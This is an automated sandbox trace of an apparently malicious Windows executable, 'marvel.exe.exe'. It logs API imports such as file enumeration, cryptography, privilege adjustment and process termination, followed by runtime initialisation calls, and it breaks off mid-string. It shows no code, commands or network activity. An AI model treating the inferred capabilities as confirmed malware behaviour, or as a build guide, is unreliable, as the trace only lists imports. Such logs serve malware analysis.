# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Feb 5 2020 10:35:20 # Log Creation Date: 11.02.2020 05:39:07.846 Process: id = "1" image_name = "marvel.exe.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\marvel.exe.exe" page_root = "0x33a55000" os_pid = "0x7b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x444" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x978 [0025.660] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThread") returned 0x76e217ec [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentVariableW") returned 0x76e21b48 [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpW") returned 0x76e25929 [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersionExW") returned 0x76e21ae5 [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e4735f [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="Process32NextW") returned 0x76e4896c [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="Process32FirstW") returned 0x76e48baf [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiW") returned 0x76e3d5cd [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileW") returned 0x76e24435 [0025.661] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileExW") returned 0x76e31811 [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileW") returned 0x76e254ee [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalDriveStringsW") returned 0x76ea436f [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcatA") returned 0x76e42b7a [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileSize") returned 0x76e2196e [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0025.662] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0025.663] GetProcAddress (hModule=0x76e10000, lpProcName="LockFile") returned 0x76e4cf1e [0025.663] GetProcAddress (hModule=0x76e10000, lpProcName="UnlockFile") returned 0x76e4cf36 [0025.663] GetProcAddress (hModule=0x76e10000, lpProcName="GetThreadTimes") returned 0x76ea53eb [0025.663] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0025.663] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceFrequency") returned 0x76e241f0 [0025.663] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0025.663] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0025.663] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpA") returned 0x76e3eceb [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentVariableA") returned 0x76e233a0 [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameA") returned 0x76e214b1 [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibrary") returned 0x76e234c8 [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="RaiseException") returned 0x76e258a6 [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleA") returned 0x76e21245 [0025.664] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="TryEnterCriticalSection") returned 0x77352500 [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObjectEx") returned 0x76e21151 [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="SwitchToThread") returned 0x76e3efec [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0025.665] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoW") returned 0x76e23c42 [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="ResetEvent") returned 0x76e216dd [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSListHead") returned 0x773594a4 [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0025.666] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="CreateTimerQueue") returned 0x76e4b020 [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="SignalObjectAndWait") returned 0x76e3f8a4 [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadPriority") returned 0x76e232bb [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="GetThreadPriority") returned 0x76e243bf [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="CreateTimerQueueTimer") returned 0x76e3f7eb [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="ChangeTimerQueueTimer") returned 0x76ea40eb [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteTimerQueueTimer") returned 0x76e3f7d3 [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="GetNumaHighestNodeNumber") returned 0x76ea20b2 [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessAffinityMask") returned 0x76e2a871 [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadAffinityMask") returned 0x76e405a0 [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="RegisterWaitForSingleObject") returned 0x76e4cb05 [0025.667] GetProcAddress (hModule=0x76e10000, lpProcName="UnregisterWait") returned 0x76eae6ab [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryAndExitThread") returned 0x76e3d582 [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualAlloc") returned 0x76e21856 [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualFree") returned 0x76e2186e [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSemaphore") returned 0x76e3d3ab [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedPopEntrySList") returned 0x77354770 [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedPushEntrySList") returned 0x77354757 [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedFlushSList") returned 0x77352775 [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="QueryDepthSList") returned 0x7735471c [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="UnregisterWaitEx") returned 0x76e4b921 [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0025.668] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="MoveFileExW") returned 0x76e39b2d [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocale") returned 0x76e3ce46 [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLCID") returned 0x76e23da5 [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesW") returned 0x76ea425f [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0025.669] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0025.670] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileExA") returned 0x76ea427f [0025.670] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileA") returned 0x76e4d53e [0025.670] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0025.670] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0025.670] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineA") returned 0x76e251a1 [0025.670] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0025.670] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0025.670] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0025.670] GetProcAddress (hModule=0x754b0000, lpProcName="CryptGenRandom") returned 0x754bdfc8 [0025.670] GetProcAddress (hModule=0x754b0000, lpProcName="CryptAcquireContextA") returned 0x754b91dd [0025.670] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0025.670] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0025.670] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0025.670] GetProcAddress (hModule=0x754b0000, lpProcName="OpenThreadToken") returned 0x754c432c [0025.670] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0025.671] GetProcAddress (hModule=0x754b0000, lpProcName="CryptReleaseContext") returned 0x754be124 [0025.671] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0025.671] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x74fe0000 [0025.671] GetProcAddress (hModule=0x74fe0000, lpProcName="GetModuleBaseNameA") returned 0x74fe15a4 [0025.671] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75670000 [0025.671] GetProcAddress (hModule=0x75670000, lpProcName="ShellExecuteA") returned 0x758b7078 [0025.671] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0025.671] GetProcAddress (hModule=0x76780000, lpProcName="CharLowerW") returned 0x76797647 [0025.671] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0025.688] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0025.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff6c | out: lpSystemTimeAsFileTime=0x18ff6c*(dwLowDateTime=0xa15b8aa0, dwHighDateTime=0x1d5e09d)) [0025.691] GetCurrentThreadId () returned 0x978 [0025.691] GetCurrentProcessId () returned 0x7b4 [0025.691] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff64 | out: lpPerformanceCount=0x18ff64*=16756245234) returned 1 [0025.694] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0025.753] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0025.753] GetLastError () returned 0x57 [0025.754] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0025.754] GetLastError () returned 0x57 [0025.754] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0025.754] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0025.755] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0025.755] GetLastError () returned 0x57 [0025.755] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0025.755] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0025.758] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0025.758] GetLastError () returned 0x57 [0025.758] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74580000 [0025.781] GetProcAddress (hModule=0x74580000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0025.782] GetProcessHeap () returned 0x5b0000 [0025.782] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0025.782] GetLastError () returned 0x57 [0025.782] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0025.786] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0025.786] GetLastError () returned 0x57 [0025.786] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0025.786] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0025.787] GetLastError () returned 0x57 [0025.787] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0025.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x364) returned 0x5c4a38 [0025.787] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0025.788] SetLastError (dwErrCode=0x57) [0025.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xc00) returned 0x5c4da8 [0025.805] GetStartupInfoW (in: lpStartupInfo=0x18fea0 | out: lpStartupInfo=0x18fea0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x446710, hStdOutput=0x461e3cd4, hStdError=0xfffffffe)) [0025.805] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0025.805] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0025.805] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0025.806] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" " [0025.806] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" " [0025.806] GetLastError () returned 0x57 [0025.806] SetLastError (dwErrCode=0x57) [0025.806] GetLastError () returned 0x57 [0025.806] SetLastError (dwErrCode=0x57) [0025.807] GetACP () returned 0x4e4 [0025.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x220) returned 0x5c46f0 [0025.807] IsValidCodePage (CodePage=0x4e4) returned 1 [0025.808] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fed0 | out: lpCPInfo=0x18fed0) returned 1 [0025.809] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f798 | out: lpCPInfo=0x18f798) returned 1 [0025.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0025.810] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뾿EĀ") returned 256 [0025.810] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뾿EĀ", cchSrc=256, lpCharType=0x18f7ac | out: lpCharType=0x18f7ac) returned 1 [0025.811] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0025.811] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f4e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굲EĀ") returned 256 [0025.811] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0025.811] GetLastError () returned 0x57 [0025.811] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0025.827] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0025.827] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굲EĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0025.827] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굲EĀ", cchSrc=256, lpDestStr=0x18f2d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0025.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18fcac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" 